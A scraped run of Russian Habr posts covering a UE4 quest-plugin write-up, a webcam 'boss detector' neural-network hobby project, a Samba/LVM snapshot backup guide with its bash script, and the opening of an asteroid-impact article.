Send message to level blueprint Кроме объектов на карте, StoryGraph взаимодействует с элементами интерфейса вот их список: 1) AHUD_StoryGraph — Базовый класс для вашего HUD. Имеет методы: EndGame() — Блюпринт событие которое вызывается при срабатывание ноды Game Over. PrintQuestPhaseOnScreen() — Блюпринт событие которое вызывается при срабатывание ноды Print quest phase on screen. OpenDialogEvent() — Блюпринт событие вызывается когда один из персонажей вызывает OpenDialog(). OpenPlaceTriggerMessagesEvent() — Тоже самое но для триггера. ChangeLocalization() — Меняет язык в игре. GetCurrentLocalization() — Возвращает текущий язык. 2) UGameScreen_StoryGraphWidget — Базовый класс для виджета располагающемся на игровом экране. Этот виджет выводит на экран сообщения для игрока а также так называемый DefaultAnswer этот ответ игрок видит если у персонажа 3) UJurnal_StoryGraphWidget — Виджет выводит на экран активные в данный момент квесты. 4) URadar_StoryGraphWidget — Радар его нужно разместить в виджете GameScreen и он будет выводить цели 5) UDialog_StoryGraphWidget — Выводит на экран окно диалога или окно взаимодействия с триггером. 6) UInventory_StoryGraphWidget — Виджет выводит на экран инвентарь в котором находятся сюжетные предметы. После этого у вас все заработает как надо. Возникшие проблемы Теперь расскажу про проблемы которые мне пришлось решить чтобы написать этот плагин. Первой проблемой было то что уровень в Unreal Engine это закрытая система все указатели объектов которые находятся на уровне должны указывать на обекты на уровне а объекты вне уровня не могут иметь указатели указывающие на объекты на уровне. И это проблема по скольку объект StoryGraph находится вне уровня но его объекты нужно как то привезать к объектам уровня. К счастью в Unreal engine есть так называемые ленивые указатели (TAssetPtr). Ленивые они потому что могут ссылаться на объекты которые в данный момент не загружены, а также при помощи них можно ссылаться на объекты уровня из объектов которые находятся за его пределами. Второй проблемой проблемой для меня оказался тот факт что объект граф (UEdGraph) нельзя использовать в игре. То есть игра с компилируется и даже упакуется но при попытке запустить эту игру она просто вылетит с ошибкой. Поэтому ноды я просто укладываю в массив а на графе я размещаю «объект переходник» UProxyNodeBase который просто перенапрвляет моим нодам вызовы методов при редактировании в редакторе. А сам этот объект находится в модуле эдитора поэтому при упаковке игры он не учитывается. Ну и когда я уже написал плагин я попробовал скомпилировать его в режиме Development и получи вот что: Ошибки UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "void * __cdecl operator new(unsigned __int64)" (??2@YAPEAX_K@Z) already defined in StoryTestProgect.cpp.obj 1>UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "void * __cdecl operator new(unsigned __int64,struct std::nothrow_t const &)" (??2@YAPEAX_KAEBUnothrow_t@std@@@Z) already defined in StoryTestProgect.cpp.obj 1>UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "void __cdecl operator delete(void *)" (??3@YAXPEAX@Z) already defined in StoryTestProgect.cpp.obj 1>UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "void __cdecl operator delete(void *,struct std::nothrow_t const &)" (??3@YAXPEAXAEBUnothrow_t@std@@@Z) already defined in StoryTestProgect.cpp.obj 1>UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "void * __cdecl operator new[](unsigned __int64)" (??_U@YAPEAX_K@Z) already defined in StoryTestProgect.cpp.obj 1>UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "void * __cdecl operator new[](unsigned __int64,struct std::nothrow_t const &)" (??_U@YAPEAX_KAEBUnothrow_t@std@@@Z) already defined in StoryTestProgect.cpp.obj 1>UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "void __cdecl operator delete[](void *)" (??_V@YAXPEAX@Z) already defined in StoryTestProgect.cpp.obj 1>UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "void __cdecl operator delete[](void *,struct std::nothrow_t const &)" (??_V@YAXPEAXAEBUnothrow_t@std@@@Z) already defined in StoryTestProgect.cpp.obj 1>UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "void __cdecl UELinkerFixupCheat(void)" (?UELinkerFixupCheat@@YAXXZ) already defined in StoryTestProgect.cpp.obj 1>UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "bool const GIsDebugGame" (?GIsDebugGame@@3_NB) already defined in StoryTestProgect.cpp.obj 1>UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "class FFixedUObjectArray * & GObjectArrayForDebugVisualizers" (?GObjectArrayForDebugVisualizers@@3AEAPEAVFFixedUObjectArray@@EA) already defined in StoryTestProgect.cpp.obj 1>UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "bool GIsGameAgnosticExe" (?GIsGameAgnosticExe@@3_NA) already defined in StoryTestProgect.cpp.obj 1>UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "wchar_t * GInternalGameName" (?GInternalGameName@@3PA_WA) already defined in StoryTestProgect.cpp.obj 1>UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "wchar_t const * const GForeignEngineDir" (?GForeignEngineDir@@3PEB_WEB) already defined in StoryTestProgect.cpp.obj 1>UE4-StoryGraphPluginRuntime.lib(Module.StoryGraphPluginRuntime.cpp.obj) : error LNK2005: "struct FNameEntry * * * GFNameTableForDebuggerVisualizers_MT" (?GFNameTableForDebuggerVisualizers_MT@@3PEAPEAPEAUFNameEntry@@EA) already defined in StoryTestProgect.cpp.obj Я долго не понимал откуда эти ошибки взялись, оказалось все просто надо было заменить в StoryGraphPluginRuntime.cpp Вот это: IMPLEMENT_PRIMARY_GAME_MODULE(FStoryGraphPluginRuntime, StoryGraphPluginRuntime, "StoryGraphPluginRuntime"); На вот это: IMPLEMENT_MODULE(FStoryGraphPluginRuntime, StoryGraphPluginRuntime); И все заработало. Но после этого я захотел скомпилировать плагин в режиме Shipping и тут опять полезли ошибки я к сожалению их не сохранил но суть их сводилась к тому что я не поставил ";" причем компилятор указывал на файлы самого движка. В общем опять оказклось все просто. Для вывода лога надо обявить новую категорию делается это так: DECLARE_LOG_CATEGORY_EXTERN(StoryGraphPluginRuntime, All, All) DEFINE_LOG_CATEGORY(StoryGraphPluginRuntime) Но в режиме Development и Development Editor все работает без точки с запятой а вот в режиме Shipping нужно писать так: DECLARE_LOG_CATEGORY_EXTERN(StoryGraphPluginRuntime, All, All); DEFINE_LOG_CATEGORY(StoryGraphPluginRuntime); Причем все усугубляет то факт что компилятор при ошибке ссылается не на эти строки а вобще на библиотеку движка. На этом все → Вот исходники → Cсылка на демо А также ссылка на прошлую статью: Создание редактора квестов и диалогов для Unreal engine: Часть 1 описание плагина
https://habrahabr.ru/post/318386/
habrahabr
Нейросеть научили сворачивать все открытые на экране окна при приближении начальника
['программирование', 'софт', 'нейросети']
Автоматизировать можно многое, хотя и не все. Но все же при помощи автоматизации можно значительно облегчить себе жизнь, сделав ее комфортнее и, в некоторых случаях, безопаснее. В смысле,...
Автоматизировать можно многое, хотя и не все. Но все же при помощи автоматизации можно значительно облегчить себе жизнь, сделав ее комфортнее и, в некоторых случаях, безопаснее. В смысле, обезопасить себя от начальства. Один из разработчиков нейросетей решил создать систему, которая при приближении начальника сразу же сворачивала «неподходящие окна», скрывая их с глаз долой. Для пользователя действия системы выглядят вполне прозрачно, поскольку нейросеть после обнаружения приближающегося босса выдает соответствующее уведомление. И только потом сворачивает окна, выдавая еще одно предупреждение. Сама система занимается тем, что при помощи обычной веб-камеры хорошего качества фиксирует лица людей, приближающихся к рабочему столу, а при выявлении начальства быстро убирает все с экрана компьютера, от греха подальше. При разработке использована библиотека Keras, которая упростила задачу. Как все это работает? Да особо ничего сложного, никаких особенных проблем при реализации системы разработчик не получил. Кстати, одно из условий при создании такой системы было научить нейронную сеть распознавать лицо начальника с 5-7 метров, чтобы не переживать из-за того, что босс сможет все разглядеть с близкого расстояния. Времени на идентификацию босса немного — всего около 4-5 секунд. Конечно, ничего хорошего в том, чтобы заниматься на работе посторонними делами, нет. Этот пример — просто работающая система, которую сделали, скорее фана ради, чем из-за каких-то реальных проблем начальством. Так вот, разработчик решил постоянно фотографировать все, что происходит вокругг, с тем, чтобы заметить вовремя начальника. Система обнаружения получила название Boss Sensor. В работе системы все просто: Веб-камера отслеживает ситуацию в «поле зрения»; Нейросеть пробует определить и распознать лицо на фотографии; Если объект идентифицирован, как начальство, переключаются экраны. То есть, в буквальном смысле слова нужно: получить изображения лица, распознать, переключить экраны, что позволяет спрятать открытые окна с одного из рабочих столов. Разработчик решил не мудрствовать лукаво, а использовать стандартную камеру Buffalo BSW20KM11BK. Конечно, изображение можно создавать и самостоятельно, при помощи софта. Но лучше довериться системе — работа над ней продолжалась довольно долго, кроме того, система работает довольно точно. Что касается получения фото, то разработчик предлагает всем ознакомиться с исходниками . Что касается обучения, то здесь все относительно просто — подобные системы довольно давно существуют. Для выполнения цели нужно выполнить три этапа: Сбор изображений; Предварительная обработка фото; Создание самообучающейся системы. Реализация задумки Сбор изображений. Для того, чтобы нейросети было, на чем тренироваться, создатели системы использовали тысячи фотографий. Их можно брать, как из частных коллекций, так и из других посылок других пользователей. Для самообучения системы нужно огромное число снимков. Их решили брать из: Google Image; Коллекции изображений на Facebook; Базы видеофайлов. Изначально разработчик получил тысячи изображений с разными лицами, но его система не смогла самообучаться на основе фото. Для извлечения лиц с большого количества фотографий была использована библиотека ImageMagick . В результате получилась вот такая база лиц сотрудников и самого босса: Если вы хотите распознать лицо человека, лучше опробовать Web API, для изображения — инструмент вроде Computer Vision API в Cognitive Services. Разработчик решил пойти своим путем. Созданная им нейросеть имела определенную структуру: Структура программы ____________________________________________________________________________________________________ Layer (type) Output Shape Param # Connected to ==================================================================================================== convolution2d_1 (Convolution2D) (None, 32, 64, 64) 896 convolution2d_input_1[0][0] ____________________________________________________________________________________________________ activation_1 (Activation) (None, 32, 64, 64) 0 convolution2d_1[0][0] ____________________________________________________________________________________________________ convolution2d_2 (Convolution2D) (None, 32, 62, 62) 9248 activation_1[0][0] ____________________________________________________________________________________________________ activation_2 (Activation) (None, 32, 62, 62) 0 convolution2d_2[0][0] ____________________________________________________________________________________________________ maxpooling2d_1 (MaxPooling2D) (None, 32, 31, 31) 0 activation_2[0][0] ____________________________________________________________________________________________________ dropout_1 (Dropout) (None, 32, 31, 31) 0 maxpooling2d_1[0][0] ____________________________________________________________________________________________________ convolution2d_3 (Convolution2D) (None, 64, 31, 31) 18496 dropout_1[0][0] ____________________________________________________________________________________________________ activation_3 (Activation) (None, 64, 31, 31) 0 convolution2d_3[0][0] ____________________________________________________________________________________________________ convolution2d_4 (Convolution2D) (None, 64, 29, 29) 36928 activation_3[0][0] ____________________________________________________________________________________________________ activation_4 (Activation) (None, 64, 29, 29) 0 convolution2d_4[0][0] ____________________________________________________________________________________________________ maxpooling2d_2 (MaxPooling2D) (None, 64, 14, 14) 0 activation_4[0][0] ____________________________________________________________________________________________________ dropout_2 (Dropout) (None, 64, 14, 14) 0 maxpooling2d_2[0][0] ____________________________________________________________________________________________________ flatten_1 (Flatten) (None, 12544) 0 dropout_2[0][0] ____________________________________________________________________________________________________ dense_1 (Dense) (None, 512) 6423040 flatten_1[0][0] ____________________________________________________________________________________________________ activation_5 (Activation) (None, 512) 0 dense_1[0][0] ____________________________________________________________________________________________________ dropout_3 (Dropout) (None, 512) 0 activation_5[0][0] ____________________________________________________________________________________________________ dense_2 (Dense) (None, 2) 1026 dropout_3[0][0] ____________________________________________________________________________________________________ activation_6 (Activation) (None, 2) 0 dense_2[0][0] ==================================================================================================== Total params: 6489634 С кодом можно ознакомиться здесь . Разработчик говорит, что система стала почти безошибочно узнавать босса, когда тот появляется поблизости от камеры. Ну а теперь необходимо задать четкую инструкцию на тот счет, если шеф таки появится рядом. Теперь все готово, а технология опробована многократно. Теперь можно запустить систему, и сделать так, чтобы она реагировала на начальника. После теста все оказалось работоспособным. За несколько метров до камеры босс оставался весен и спокоен. Система сделала все необходимые снимки провела анализ и смогла правильно идентифицировать босса разработчика. Тест одно значно показал — все работает. Исходный код такой системы можно найти по этой ссылке . Система идентификации сначала определила, что действительно, идет начальник, затем ей удалось распознать снимок и… да, свернуть все окна. На данный момент определение лица идет с использованием OpenCV. Возможно, Dlib позволит улучшить точность распознавания. Есть, конечно, и более серьезные проекты, где готовят, например, системы машинного зрения, которые обучают по компьютерным играм . Нейросети становятся все более востребованными — с ними работают разработчики автомобилей, ученые, создатели роботизированных систем и другие специалисты.
https://geektimes.ru/post/284036/
habrahabr
Бэкап сетевой шары (samba) в Linux по мотивам Windows Server Backup
['*nix', 'samba', 'archive', 'backup']
Делаем удобный доступ к архивам (и создаем эти архивы) сетевых шар, для клиентов работающих под Windows. Введение Чем хороша служба Windows Server Backup и теневые копии? Они входят в поставку...
Делаем удобный доступ к архивам (и создаем эти архивы) сетевых шар, для клиентов работающих под Windows. Введение Чем хороша служба Windows Server Backup и теневые копии? Они входят в поставку Windows Server и не требуют доплаты (если не использовать облачную архивацию), а также хорошо справляются с возложенными на них задачами. Для простых сценариев использования — очень достойное решение. А доступ к теневым копиям через диалог свойств файла — вообще очень удобен. Теперь попробуем сделать аналогично для файлового сервера Linux с Samba. Доступ к предыдущим версиям файлов Эту возможность нам дает модуль Samba shadow_copy2. Его надо прописывать в секции сетевого ресурса в файле smb.conf: [share] vfs objects = shadow_copy2 shadow:snapdir = /mnt/.share path = /mnt/share В отличие от модуля первой версии, этот позволяет разместить папку с копиями в разных местах и с разными именами. Теперь, если внутри папки path = /mnt/.share мы создадим подпапку @GMT-2016.12.25-10.17.52 то у нас ничего не выйдет. Добавим такие настройки в секции [general]: wide links = yes # разрешаем samba проходить по символьным ссылкам unix extensions = no # запретим *nix клиентам создание символьных ссылок (и еще кучу возможностей, # которые вам могут не понадобиться) allow insecure wide links = no # эту опцию включаем в yes только при включенных unix extensions # иначе wide links останутся недоступны, и дыры в безопасности не будет Теперь в свойствах сетевой шары, в разделе предыдущих версий, мы увидим нашу «копию». Обратите внимание, время указывается в UTC и преобразуется в локальное по часовому поясу. Создание архивов и snapshot Иметь механизм доступа к копиям без механизма их создания — бесполезно. В этом нам поможет следующий скрипт (есть и официальный аналог ): thin_lv_backup.sh #!/bin/bash # # LVM-ThinVolume BackUp with rsync script set # # (c) 2016 - # Andrew Leshkevich (magicgts@gmail.com) # # # This script set is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by the # Free Software Foundation, either version 2 of the license or, at your # option, any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, see <http://www.gnu.org/licenses/>. # # For a list of supported commands, type 'thin_lv_backup help' # # !!! Please forgive me for bad english !!! # ################################################################################################ ################################################################################################ #Mount the snapshot to the specified mount point, if a snapshot is not active, then activate it # Arguments: # ${1} - Short path to Volume (in VG/LV format) # ${2} - Mount point # ${3} - Optional LMV Volume attribute # Returns: # Return 0 if no errors ################################################################################################ mount_snapshot(){ local SRC=${1} local MNT_TGT=${2} [ "$#" -lt 2 ] && echo 'Error: expected <VOLUME GROUP>/<LOGICAL VOLUME SNAPSHOT> <MOUNT POINT> [<VOLUME ATTRIBUTES>]' && return 1 if [ "$#" -eq 2 ]; then local ATTR=$(lvs --noheadings -o lv_attr ${SRC}) else local ATTR=${3} fi findmnt -nf --source /dev/${SRC} >/dev/null 2>&1 && echo "Skip: LV ${SRC} is already mounted!" && return 0 findmnt -nf --target ${MNT_TGT} >/dev/null 2>&1 | grep -v -q ${MNT_TGT} && echo "Skip: the directory ${MNT_TGT} is already a mount point" && return 3 if [ ! -d "${MNT_TGT}" ]; then mkdir -p "${MNT_TGT}" || echo "Error: Creating directory ${MNT_TGT}" || return 4 echo "Info: directory ${MNT_TGT} has been created" fi find ${MNT_TGT} -prune -empty | grep -v -q ${MNT_TGT} && echo "Skip: ${MNT_TGT} directory is not empty" && return 5 [[ ${ATTR} =~ .*a.* ]] || lvchange -ay -K ${SRC} || echo "Error: Volume Activation ${SRC}" || return 6 mount -o ro,nouuid /dev/${SRC} ${MNT_TGT} || echo "Error: Mounting ${MNT_TGT}" || return 7 return 0 } ################################################################################################ # UnMount snaphot, deactivate volume and remove it mount point directory # Arguments: # ${1} - Short path to Volume (in VG/LV format) # Returns: # Return 0 if no errors ################################################################################################ umount_snapshot(){ local SRC=${1} local TGT [ "$#" -ne 1 ] && echo 'Error: expected <VOLUME GROUP>/<LOGICAL VOLUME SNAPSHOT>' && return 1 local _TGT=("$( findmnt -nf --source /dev/${SRC} | cut -d ' ' -f 1 )") if [ ! -z "$_TGT" ]; then umount -A /dev/${SRC} || echo "Error: Umounting ${SRC}" || return 2 for TGT in "${_TGT[@]}"; do find ${TGT} -prune -empty | grep -q "${TGT}" && rm --one-file-system -df ${TGT} [ -d "${TGT}" ] && echo "Info: Fail to remove target directory ${TGT}" done fi lvchange -an -K ${SRC} || echo "Error: Volume Deactivation ${SRC}" || return 3 return 0 } ################################################################################################ # Mount all associated snapshots of the volume to its origin mount points # All snapshots must be named on the template: <ORIGIN VOLUME NAME>-GMT-%Y.%m.%d-%H.%M.%S # Arguments: # ${1} - Short path to Origin Volume (in VG/LV format) # ${2} - Optional archive volume group, that used to mount all archive snapshots # Returns: # Return 0 if no errors ################################################################################################ mount_all_snapshot(){ local SRC=${1} local A_VG=${2} local ATTR_S local SNAP [ "$#" -lt 1 ] && echo 'Error: expected <VOLUME GROUP>/<LOGICAL VOLUME> [<ARCHIVE VOLUME GROUP>]' && exit 1 IFS=$'/' read -r -a ATTR_S <<< "${SRC}" [ "$#" -eq 2 ] && ATTR_S[0]=${A_VG} local SRC="$( findmnt -nf --source /dev/${SRC} | cut -d ' ' -f 1 )/" local DST_BASE="$( dirname ${SRC} )/.$( basename ${SRC} )/" while IFS='' read -r SNAP; do IFS=$' \t' read -r -a ATTR <<< "${SNAP}" local DST=${ATTR[0]//${ATTR_S[1]}-/} mount_snapshot ${ATTR_S[0]}/${ATTR[0]} ${DST_BASE}@${DST} ${ATTR[1]} || echo "Error: mounting ${ATTR_S[0]}/${ATTR[0]}" done < <( lvs --noheadings -o lv_name,lv_attr -S Origin=${ATTR_S[1]} ${ATTR_S[0]} ) } ################################################################################################ # UnMount and Remove snapshot # Arguments: # ${1} - Short path to Snapshot Volume (in VG/LV format) # Returns: # Return 0 if no errors ################################################################################################ remove_snaphot(){ local TGT=${1} local ATTR_S [ "$#" -ne 1 ] && echo 'Error: expected <VOLUME GROUP>/<LOGICAL VOLUME SNAPSHOT>' && return 1 IFS=$'/' read -r -a ATTR_S <<< "${TGT}" [ -z $(lvs --noheadings -o Origin -S lv_name=${ATTR_S[1]} ${ATTR_S[0]}) ] && echo "Error: not a snapshot ${TGT}" && return 2 umount_snapshot ${TGT} || echo "Error: umounting snapshot ${TGT}" || return 3 lvremove -f /dev/${TGT} || echo "Error: removing snapshot ${TGT}" || return 4 return 0 } ################################################################################################ # Create and Mount it to hidden folder on top level with same name as Original mount point # Arguments: # ${1} - Short path to Origin Volume (in VG/LV format) # ${2} - Optional postfix, that replace default postfix GMT-%Y.%m.%d-%H.%M.%S # Returns: # Return 0 if no errors ################################################################################################ create_snaphot(){ local TGT=${1} local ATTR_S [ "$#" -lt 1 ] && echo 'Error: expected <VOLUME GROUP>/<LOGICAL VOLUME> [<POSTFIX>]' && exit 1 local DATE=$(date -u +GMT-%Y.%m.%d-%H.%M.%S) [ "$#" -eq 2 ] && DATE="${2}" IFS=$'/' read -r -a ATTR_S <<< "${TGT}" lvcreate -n ${ATTR_S[1]}-${DATE} -s /dev/${TGT} || echo "Error: Creating snapshot of ${TGT}" || return 2 local SRC="$( findmnt -nf --source /dev/${TGT} | cut -d ' ' -f 1 )/" local DST_BASE="$( dirname $SRC )/.$( basename $SRC )/" mount_snapshot ${TGT}-${DATE} ${DST_BASE}@${DATE} || echo "Error: Mounting snapshot ${TGT}-${DATE}" || return 3 } ################################################################################################ # Remove old snaphots and keep last N snapshot # Arguments: # ${1} - Short path to Origin Volume (in VG/LV format) # ${2} - Number of keeping snapshot # Returns: # Return 0 if no errors ################################################################################################ remove_old_snapshot_copy(){ local TGT=${1} local NUM=${2} local SNAP local ATTR_S local ATTR [ "$#" -ne 2 ] && echo 'Error: expected <VOLUME GROUP>/<LOGICAL VOLUME> <NUMBER OF KEEP>' && return 1 IFS=$'/' read -r -a ATTR_S <<< "${TGT}" while IFS='' read -r SNAP; do IFS=$' \t' read -r -a ATTR <<< "${SNAP}" local DST=${ATTR[0]//${ATTR_S[1]}-/} remove_snaphot ${ATTR_S[0]}/${ATTR[0]} || echo "Error: removing snapshot ${ATTR_S[0]}/${ATTR[0]}" done < <( (lvs --noheadings -O -lv_name -o lv_name -S Origin=${ATTR_S[1]} ${ATTR_S[0]}) | head -n -${NUM} ) return 0 } ################################################################################################ # Prepare archive operation # Arguments: # ${1} - Short path to Origin Volume (in VG/LV format) # ${2} - Mount point for ${1} # Returns: # Return 0 if no errors ################################################################################################ pre_archive(){ [ "$#" -ne 2 ] && echo 'Error: expected <VOLUME GROUP>/<LOGICAL VOLUME> <MOUNT POINT>' && return 1 local VOL_SRC=${1} local MNT_TGT=${2} mkdir -p ${MNT_TGT} mount /dev/${VOL_SRC} ${MNT_TGT} || echo "Error: Mounting ${MNT_TGT}" || return 7 } ################################################################################################ # Post archive operation: unmount target volume, remove its mount point, create its snaphot # Arguments: # ${1} - Short path to Origin Volume (in VG/LV format) # ${2} - Mount point for ${1} # Returns: # Return 0 if no errors ################################################################################################ post_archive(){ [ "$#" -ne 3 ] && echo 'Error: expected <VOLUME GROUP>/<LOGICAL VOLUME> <MOUNT POINT> <VOLUME GROUP>/<LOGICAL VOLUME>' && return 1 local VOL_SRC=${1} local MNT_TGT=${2} local TGT=${3} umount /dev/${VOL_SRC} && rm -rd ${MNT_TGT} && lvcreate -n ${TGT} -s /dev/${VOL_SRC} && return 0 return 1 } ################################################################################################ # Create rsync archive # Arguments: # ${1} - Short path to Origin Volume (in VG/LV format) # ${2} - Name of archive Volume Group # ${3} - Optional connection string in <user name>@<host name> format # ${4} - Optional path to this script on remote machine # ${5} - Optional prefix name for volume name on remote machine (<PREFIX>-<VOLUME NAME>-GMT-%Y.%m.%d-%H.%M.%S) # ${6} - Optional also make local archive # Returns: # Return 0 if no errors ################################################################################################ create_archive(){ local SRC=${1} local TGT=${2} local CONN=${3} local CALL=${4} local PREFIX=${5} local ATTR_S local ATTR_D local RESULTS local RET [ "$#" -lt 2 ] && echo 'Error: expected <ORIG VOLUME GROUP>/<ORIG LOGICAL VOLUME> <DST VOLUME GROUP> [<SSH CONNECT> <SCRIPT CALL> <PREFIX> [<LOCAL COPY?>]]' && return 1 IFS=$'/' read -r -a ATTR_S <<< "${SRC}" IFS=$'/' read -r -a ATTR_D <<< "${TGT}" local SRC="$( findmnt -nf --source /dev/${ATTR_S[0]}/${ATTR_S[1]} | cut -d ' ' -f 1 )/" local DST_BASE="$( dirname $SRC )/.$( basename $SRC )/" create_snaphot ${ATTR_S[0]}/${ATTR_S[1]} archive_orig local DATE=$(date -u +GMT-%Y.%m.%d-%H.%M.%S) if [ "$#" -ge 5 ]; then RESULTS=$(ssh ${CONN} "${CALL} pre_archive ${TGT}/${PREFIX}-${ATTR_S[1]} ${DST_BASE}@archive_dst") RET=$? echo "$RESULTS" [ "${RET}" -ne 0 ] && return ${RET} rsync -aAXx --delete --inplace --no-whole-file ${DST_BASE}@archive_orig/ ${CONN}:${DST_BASE}@archive_dst &&\ RESULTS=$(ssh ${CONN} "${CALL} post_archive ${TGT}/${PREFIX}-${ATTR_S[1]} ${DST_BASE}@archive_dst ${PREFIX}-${ATTR_S[1]}-${DATE}") RET=$? echo "$RESULTS" [ "${RET}" -ne 0 ] && return ${RET} fi if [ "$#" -eq 2 ] || [ "$#" -eq 6 ]; then pre_archive ${TGT}/${ATTR_S[1]} ${DST_BASE}@archive_dst rsync -aAXx --delete ${DST_BASE}@archive_orig/ ${DST_BASE}@archive_dst &&\ post_archive ${TGT}/${ATTR_S[1]} ${DST_BASE}@archive_dst ${ATTR_S[1]}-${DATE} RET=$? [ "${RET}" -ne 0 ] && return ${RET} mount_snapshot ${TGT}/${ATTR_S[1]}-${DATE} ${DST_BASE}@${DATE} else echo 'Error: expected <ORIG VOLUME GROUP>/<ORIG LOGICAL VOLUME> <DST VOLUME GROUP> [<SSH CONNECT> <SCRIPT CALL> <PREFIX> [<LOCAL COPY?>]]>' && return 1 fi remove_snaphot ${ATTR_S[0]}/${ATTR_S[1]}-archive_orig } case ${1} in 'help') [ -z "${2}" ] && echo -e "create - create snapshot and mount it\nmount - mount snapshot\numount unmount snapshot\nmount_all - mount all snapshot\n\ remove - remove snapshot\nremove_old - keep last n snapshot\ncreate_archive - create archive" case ${2} in 'create') echo 'thin_lv_backup.sh create <VOLUME GROUP>/<LOGICAL VOLUME> [<POSTFIX>]' ;; 'mount') echo 'thin_lv_backup.sh mount <VOLUME GROUP>/<LOGICAL VOLUME SNAPSHOT> <MOUNT POINT> [<VOLUME ATTRIBUTES>]' ;; 'umount') echo 'thin_lv_backup.sh umount <VOLUME GROUP>/<LOGICAL VOLUME SNAPSHOT>' ;; 'mount_all') echo 'thin_lv_backup.sh mount_all <VOLUME GROUP>/<LOGICAL VOLUME> [<ARCHIVE VOLUME GROUP>]' ;; 'remove') echo 'thin_lv_backup.sh remove <VOLUME GROUP>/<LOGICAL VOLUME SNAPSHOT>' ;; 'remove_old') echo 'thin_lv_backup.sh remove_old <VOLUME GROUP>/<LOGICAL VOLUME> <NUMBER OF KEEP>' ;; 'create_archive') echo 'thin_lv_backup.sh create_archive <ORIG VOLUME GROUP>/<ORIG LOGICAL VOLUME> <DST VOLUME GROUP> [<SSH CONNECT> <SCRIPT CALL> <PREFIX> [<LOCAL COPY?>]]' ;; esac ;; 'create') create_snaphot $2 $3 ;; 'mount') mount_snapshot $2 $3 $4 ;; 'umount') umount_snapshot $2 ;; 'mount_all') mount_all_snapshot $2 $3 ;; 'remove') remove_snaphot $2 ;; 'remove_old') remove_old_snapshot_copy $2 $3 ;; 'create_archive') create_archive $2 $3 $4 $5 $6 $7 ;; 'pre_archive') pre_archive $2 $3 ;; 'post_archive') post_archive $2 $3 $4 ;; esac disclaimer Скрипт не идеален (пока я набиваю руку) и опирается на вашу добросовестность (нет проверки на корректность аргументов, только на количество). Однако, я постарался сделать его максимально безопасным для данных (он не удаляет тома, только snapshot, удаляет только пустые каталоги). Ваши предложения, по улучшению и исправлению, только приветствуются. Для работы необходимо использовать LVM ThinVolumes. По сравнению с обычными томами, их производительность слабо зависит от числа snapshot (COW снижает производительность в 2-3 раза, пока вы модифицируете «свежие» блоки, а если снимков 2 и более, то работа просто замирает). Принцип создания архивных копий: Создать snapshot исходного тома и смонтировать его Смонтировать том назначения Провести копирование с помощью rsync Отмонтировать том назначения и сделать его snaphot Отмонтировать snapshot источника и удалить его При локальном архивировании, подмонтировать последний snapshot тома с архивом Таким образом мы получаем нормальный инкрементный бэкап. При желании, можно адаптировать для btrfs или ZFS. Использование Создать snapshot и примонтировать его в скрытый каталог с именем шары (папки содержащей шару): /usr/local/bin/thin_lv_backup.sh create vg_system/share Создать архив с помощью rsync на другую группу томов: /usr/local/bin/thin_lv_backup.sh create_archive vg_system/share vg_archive Создать удаленный архив с помощью rsync: /usr/local/bin/thin_lv_backup.sh create_archive vg_system/share vg_archive archive@archive.localdomain 'sudo /usr/local/bin/thin_lv_backup.sh' srv1 Создать удаленный и локальны архив с помощью rsync: /usr/local/bin/thin_lv_backup.sh create_archive vg_system/share vg_archive archive@archive.localdomain 'sudo /usr/local/bin/thin_lv_backup.sh' srv1 true Удалить старые копии (оставить N последних): /usr/local/bin/thin_lv_backup.sh remove_old vg_system/share 5 Встроенная справка: /usr/local/bin/thin_lv_backup.sh help /usr/local/bin/thin_lv_backup.sh help mount_all
https://habrahabr.ru/post/318388/
habrahabr
Астероиды и мы
['астероидно-кометная опасность', 'астрономия', 'телескопы']
Не совсем тематическая для меня статья, но мне показалось интересным рассказать про астероидную опасность. В принципе, это заезженная тема, но в последние годы постепенно обретает другое...
Не совсем тематическая для меня статья, но мне показалось интересным рассказать про астероидную опасность. В принципе, это заезженная тема, но в последние годы постепенно обретает другое содержание, поэтому, думаю, будет интересно. Импакт Моделирование атмосферного взрыва Тунгусского метеорита . Современные оценки дают мощность этого импакта в 5..15 мегатонн. Импактом называется попадание астероида (в принципе любого размера) в Землю, с последующим выделением кинетической его энергии в атмосфере или на поверхности. Чем мельче импакт по энергии, тем чаще он происходит. Энергия импакта является хорошим способом определить опасно ли космическое тело для земли или нет. Первый такой порог — это где-то 100 килотонн тротилового эквивалента энерговыделения, когда прилетающий астероид (который по входу в атмосферу начинает именоваться метеоритом) перестает ограничиваться попаданием в ютьюб, а начинает приносить беды. Хорошим примером такого порогового события является челябинский метеорит 2014 года — небольшое тело характерными размерами 15...20 метров и массой ~10 тысяч тонн своей ударной волной нанесло повреждений на миллиард рублей и поранило ~300 человек. Подборка видео падения Челябинского метеорита. Однако челябинский метеорит целился очень хорошо, да и в целом не особо нарушил жизнь даже Челябинска, не говоря уже о всей Земле. Вероятность случайного попадания в густонаселенную территорию при столкновении с нашей планетой составляет 